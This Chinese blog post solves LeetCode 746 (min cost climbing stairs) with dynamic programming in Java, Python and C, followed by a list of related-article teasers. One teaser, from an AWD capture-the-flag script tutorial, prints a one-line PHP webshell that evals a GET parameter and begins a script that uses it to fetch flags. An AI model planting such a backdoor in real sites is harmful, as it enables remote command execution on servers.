【LeetCode每日一题】——746.使用最小花费爬楼梯

文章目录

  • 一【题目类别】
  • 二【题目难度】
  • 三【题目编号】
  • 四【题目描述】
  • 五【题目示例】
  • 六【题目提示】
  • 七【解题思路】
  • 八【时空频度】
  • 九【代码实现】
  • 十【提交结果】

一【题目类别】

  • 数组

二【题目难度】

  • 简单

三【题目编号】

  • 746.使用最小花费爬楼梯

四【题目描述】

  • 给你一个整数数组 cost ,其中 cost[i] 是从楼梯第 i 个台阶向上爬需要支付的费用。一旦你支付此费用,即可选择向上爬一个或者两个台阶。
  • 你可以选择从下标为 0 或下标为 1 的台阶开始爬楼梯。
  • 请你计算并返回达到楼梯顶部的最低花费。

五【题目示例】

  • 示例 1

    • 输入:cost = [10,15,20]
    • 输出:15
    • 解释:你将从下标为 1 的台阶开始。
      • 支付 15 ,向上爬两个台阶,到达楼梯顶部。
      • 总花费为 15 。
  • 示例 2

    • 输入:cost = [1,100,1,1,1,100,1,1,100,1]
    • 输出:6
    • 解释:你将从下标为 0 的台阶开始。
      • 支付 1 ,向上爬两个台阶,到达下标为 2 的台阶。
      • 支付 1 ,向上爬两个台阶,到达下标为 4 的台阶。
      • 支付 1 ,向上爬两个台阶,到达下标为 6 的台阶。
      • 支付 1 ,向上爬一个台阶,到达下标为 7 的台阶。
      • 支付 1 ,向上爬两个台阶,到达下标为 9 的台阶。
      • 支付 1 ,向上爬一个台阶,到达楼梯顶部。
      • 总花费为 6 。

六【题目提示】

  • 2 <= cost.length <= 1000
  • 0 <= cost[i] <= 999

七【解题思路】

  • 该题为标准的动态规划题目
  • 对于第i个位置,cost[i]为第i个位置向上爬的花费,dp[i]为到达第i个位置所需要的最小的花费,所以可以得到动态转移方程:
    • dp[i] = min(cost[i - 1] + dp[i - 1], cost[i - 2] + dp[i - 2])
  • 最后返回结果即可
  • 具体细节可以参考下面的代码

八【时空频度】

  • 时间复杂度: O ( n ) O(n) O(n) n n n为传入的数组的长度
  • 空间复杂度: O ( n ) O(n) O(n) n n n为传入的数组的长度

九【代码实现】

  1. Java语言版
class Solution {public int minCostClimbingStairs(int[] cost) {int n = cost.length;// 动态规划数组int[] dp = new int[n + 1];dp[0] = 0;dp[1] = 0;// 计算爬楼梯的最小花费:到达第 i 层的最小花费由前一层或前两层的最小花费加上当前层的花费决定for (int i = 2; i < (n + 1); i++) {dp[i] = Math.min(dp[i - 1] + cost[i - 1], dp[i - 2] + cost[i - 2]);}// 返回结果return dp[n];}
}
  1. Python语言版
class Solution:def minCostClimbingStairs(self, cost: List[int]) -> int:n = len(cost)# 动态规划数组dp = [0] * (n + 1)# 计算爬楼梯的最小花费:到达第 i 层的最小花费由前一层或前两层的最小花费加上当前层的花费决定for i in range(2, (n + 1)):dp[i] = min(dp[i - 1] + cost[i - 1], dp[i - 2] + cost[i - 2])# 返回结果return dp[n]
  1. C语言版
int minCostClimbingStairs(int* cost, int costSize)
{// 动态规划数组int* dp = (int *)calloc((costSize + 1), sizeof(int));// 计算爬楼梯的最小花费:到达第 i 层的最小花费由前一层或前两层的最小花费加上当前层的花费决定for (int i = 2; i <= costSize; i++){dp[i] = fmin(cost[i - 1] + dp[i - 1], cost[i - 2] + dp[i - 2]);}int res = dp[costSize];free(dp);// 返回结果return res;
}

十【提交结果】

  1. Java语言版
    在这里插入图片描述

  2. Python语言版
    在这里插入图片描述

  3. C语言版
    在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/bicheng/61654.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

记录下jekins新建个前端部署配置项

1 新建个item 2 输入项目名称&#xff0c;选择个新的工程或 或者搜个已存在的现有模板 3 添加一些描述 4 &#xff08;可选&#xff09;配置下构建历史保存情况 5 限制下构建节点和选择gitlab或者github 6 写下git仓库地址、账号密码以及分支 7 选择构建工具node以及版本 8 构建…

设计模式之 状态模式

状态模式&#xff08;State Pattern&#xff09;是一种行为型设计模式&#xff0c;它允许一个对象在其内部状态改变时&#xff0c;改变其行为。这种模式将状态的转换和行为的变化解耦&#xff0c;将不同状态的行为封装到独立的状态类中&#xff0c;而通过上下文&#xff08;Con…

uni-app 界面TabBar中间大图标设置的两种方法

一、前言 最近写基于uni-app 写app项目的时候&#xff0c;底部导航栏 中间有一个固定的大图标&#xff0c;并且没有激活状态。这里记录下实现方案。效果如下&#xff08;党组织这个图标&#xff09;&#xff1a; 方法一&#xff1a;midButton的使用 官方文档&#xff1a;ta…

IText创建加盖公章的pdf文件并生成压缩文件

第一、前言 此前已在文章&#xff1a;Java使用IText根据pdf模板创建pdf文件介绍了Itex的基本使用技巧&#xff0c;本篇以一个案例为基础&#xff0c;主要介绍IText根据pdf模板填充生成pdf文件&#xff0c;并生成压缩文件。 第二、案例 以下面pdf模板为例&#xff0c;生成一个p…

合法三元数量计算

问题描述 小C、小U 和小R 三个好朋友喜欢做一些数字谜题。这次他们遇到一个问题&#xff0c;给定一个长度为n的数组a&#xff0c;他们想要找出符合特定条件的三元组 (i, j, k)。具体来说&#xff0c;三元组要满足 0 < i < j < k < n&#xff0c;并且 max(a[i], a[…

【AI系统】GPU 架构回顾(从2018年-2024年)

Turing 架构 2018 年 Turing 图灵架构发布&#xff0c;采用 TSMC 12 nm 工艺&#xff0c;总共 18.6 亿个晶体管。在 PC 游戏、专业图形应用程序和深度学习推理方面&#xff0c;效率和性能都取得了重大进步。相比上一代 Volta 架构主要更新了 Tensor Core&#xff08;专门为执行…

【高阶数据结构】图论

> 作者&#xff1a;დ旧言~ > 座右铭&#xff1a;松树千年终是朽&#xff0c;槿花一日自为荣。 > 目标&#xff1a;了解什么是图&#xff0c;并能掌握深度优先遍历和广度优先遍历。 > 毒鸡汤&#xff1a;有些事情&#xff0c;总是不明白&#xff0c;所以我不会坚持…

日期(练习)

<!DOCTYPE html> <html lang"en"> <head><meta charset"UTF-8"><title></title> </head> <body></body> <script>// 定义一个函数&#xff0c;实现格式化日期对象&#xff0c;返回yyyy-MM-dd…

【IDEA】解决总是自动导入全部类(.*)问题

文章目录 问题描述解决方法 我是一名立志把细节说清楚的博主&#xff0c;欢迎【关注】&#x1f389; ~ 原创不易&#xff0c; 如果有帮助 &#xff0c;记得【点赞】【收藏】 哦~ ❥(^_-)~ 如有错误、疑惑&#xff0c;欢迎【评论】指正探讨&#xff0c;我会尽可能第一时间回复…

企业使用知识管理工具与技术的好处(举例说明)

我们都知道“知识就是力量”这句老话&#xff0c;无论是在工作还是个人生活中&#xff0c;我们每一天都越来越认识到这句话的真谛。近年来&#xff0c;不可否认的是&#xff0c;全球范围内我们都在某种程度上缺乏对于许多企业和大型公司至关重要的高端技术技能。 当然&#xf…

机器学习系列-决策树

文章目录 1. 决策树原理决策树的构建流程 2. 案例步骤 1&#xff1a;计算当前节点的熵步骤 2&#xff1a;对每个特征计算分裂后的熵(1) 按“天气”分裂数据集(2) 计算分裂后的加权熵 步骤 3&#xff1a;计算分裂依据信息增益信息增益率GINI系数&#xff08;二叉树&#xff09; …

resnet50,clip,Faiss+Flask简易图文搜索服务

一、实现 文件夹目录结构&#xff1a; templates -----upload.html faiss_app.py 前端代码&#xff1a; <!DOCTYPE html> <html lang"en"> <head><meta charset"UTF-8"><meta name"viewport" content"widt…

爬虫重定向问题解决

一&#xff0c;问题 做爬虫时会遇到强制重定向的链接&#xff0c;此时可以手动获取重定向后的链接 如下图情况 第二个链接是目标要抓取的&#xff0c;但它是第一个链接重定向过去的&#xff0c;第一个链接接口状态也是302 二&#xff0c;解决方法 请求第一个链接&#xff0c…

一个小的可编辑表格问题引起的思考

11.21工作中遇到的问题 预期&#xff1a;当每行获取红包金额的时候若出现错误&#xff0c;右侧当行会出现提示 结果&#xff1a;获取红包金额出现错误&#xff0c;右侧对应行并没有出现错误提示 我发现&#xff0c;当我们设置readonly的时候&#xff0c;其实render函数依旧是…

高效集成:金蝶盘亏单数据对接管易云

金蝶盘亏单数据集成到管易云的技术实现 在企业日常运营中&#xff0c;数据的高效流转和准确对接是确保业务顺利进行的关键。本文将聚焦于一个具体的系统对接集成案例&#xff1a;如何将金蝶云星空中的盘亏单数据无缝集成到管易云的其他出库模块。 为了实现这一目标&#xff0…

神经网络问题之一:梯度消失(Vanishing Gradient)

梯度消失&#xff08;Vanishing Gradient&#xff09;问题是深度神经网络训练中的一个关键问题&#xff0c;它主要发生在反向传播过程中&#xff0c;导致靠近输入层的权重更新变得非常缓慢甚至几乎停滞&#xff0c;严重影响网络的训练效果和性能。 图1 在深度神经网络中容易出现…

单神经元 PID 解耦控制

单神经元 PID 解耦控制是一种将单神经元自适应控制与解耦控制相结合的方法&#xff0c;适用于多输入多输出&#xff08;MIMO&#xff09;系统。其核心是利用单神经元的自适应能力实现 PID 参数在线调整&#xff0c;同时通过解耦策略减少变量之间的相互影响&#xff0c;提高控制…

数据库类型介绍

1. 关系型数据库&#xff08;Relational Database, RDBMS&#xff09;&#xff1a; • 定义&#xff1a;基于关系模型&#xff08;即表格&#xff09;存储数据&#xff0c;数据之间通过外键等关系相互关联。 • 特点&#xff1a;支持复杂的SQL查询&#xff0c;数据一致性和完整…

线性回归 - 最小二乘法

线性回归 一 简单的线性回归应用 webrtc中的音视频同步。Sender Report数据包 NTP Timestamp&#xff08;网络时间协议时间戳&#xff09;&#xff1a;这是一个64位的时间戳&#xff0c;记录着发送SR的NTP时间戳&#xff0c;用于同步不同源之间的时间。RTP Timestamp&#xff1…

AWD脚本编写_1

AWD脚本编写_1 shell.php&#xff08;放在网站根目录下&#xff09; <?php error_reporting(0); eval($_GET["yanxiao"]); ?>脚本编写成功 后门文件利用与解析 import requests import base64def get_flag(url, flag_url, method, passwd, flag_path):cmd…